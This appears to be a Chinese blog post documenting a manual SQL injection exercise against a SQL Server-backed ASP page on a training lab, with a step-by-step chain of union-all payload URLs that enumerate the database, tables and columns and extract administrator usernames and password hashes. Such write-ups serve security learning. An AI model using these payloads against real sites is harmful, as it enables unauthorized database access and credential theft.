• SQL手工注入漏洞测试(Sql Server数据库)


    mysql 注入有些不同,union select 无法使用,Sql Server数据库只能用 union all

    1、判断注入点。

    //219.153.49.228:41635/new_list.asp?id=2 and 1=1访问成功;/new_list.asp?id=2 and 1=2访问失败。

    image.png

    2、判断列的情况。

    order by x,x=1、2、4时成功,=3、5、6、7、8时失败。

    /new_list.asp?id=2 order by 4;

    3、判断回显字段,这里使用联合查询union;记得在sql sever中要加all,占位符使用null;第3位使用字符成功。

    /new_list.asp?id=-1 union all select 1,2,null,4成功;

    /new_list.asp?id=-1 union all select 1,2,‘a’,4成功,3为字符型列。

    4、查数据库名。

    /new_list.asp?id=-1 union all select 1,db_name(),‘a’,4

    5、查数据库拥有者。

    /new_list.asp?id=-1 union all select 1,(select user),‘a’,4

    6、查询表名。

    /new_list.asp?id=-1 union all select 1,((select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘U’)),‘a’,4;

    sysobjects:记录了数据库中所有表,常⽤字段为id、name和xtype。

    syscolumns:记录了数据库中所有表的字段,常⽤字段为id、name和xtype。

    id为标识,name为对应的表名和字段名,xtype为所对应的对象类型

    top n #查询前n条记录;

    limit 2,3 #查询第2条开始的3条数据;

    查询dbo.sysobjects表中⽤户创建的表,获取其对应的id和name

    dbo.sysobjects 系统⾃带库 xtype=‘U’ 是指⽤户创建的表

    7、查询列名。

    /new_list.asp?id=-1 union all select 1,(select top 1 col_name(object_id(‘manage’),1) from sysobjects),‘a’,4

    /new_list.asp?id=-1 union all select 1,(select top 1 col_name(object_id(‘manage’),2) from sysobjects),‘a’,4

    /new_list.asp?id=-1 union all select 1,(select top 1 col_name(object_id(‘manage’),3) from sysobjects),‘a’,4

    object ():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回用户创建的对像的ID,像以sys开头的表都是系统表所以返回不了的

    col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果.

    8、查出用户名和密码

    /new_list.asp?id=-1 union all select 1,(select username from manage),‘a’,4

    /new_list.asp?id=-1 union all select 1,(select password from manage),‘a’,4

    密码的密文拿到

    或者:

    /new_list.asp?id=-1 union all select 1,username,password,4 from manage

    9、将密文到www.cmd5.com查询,结果就是密码:

  • 相关阅读:
    Docker-compose update db password
    C++ vector容器的介绍与使用
    elasticsearch
    【微软技术栈】C#.NET 正则表达式
    [Python私活案例]24行代码,轻松赚取400元,运用Selenium爬取39万条数据
    【虚幻引擎UE】UE5 C++环境异常原因及解决方案
    Consul安装使用
    Linux内核mmap内存映射详解及例子实现
    【C++修炼之路】6. 内存管理
    网站排名下降的原因和解决方法(SEO优化失误可能导致网站排名下降)
  • 原文地址:https://blog.csdn.net/chinacqzgp/article/details/126962714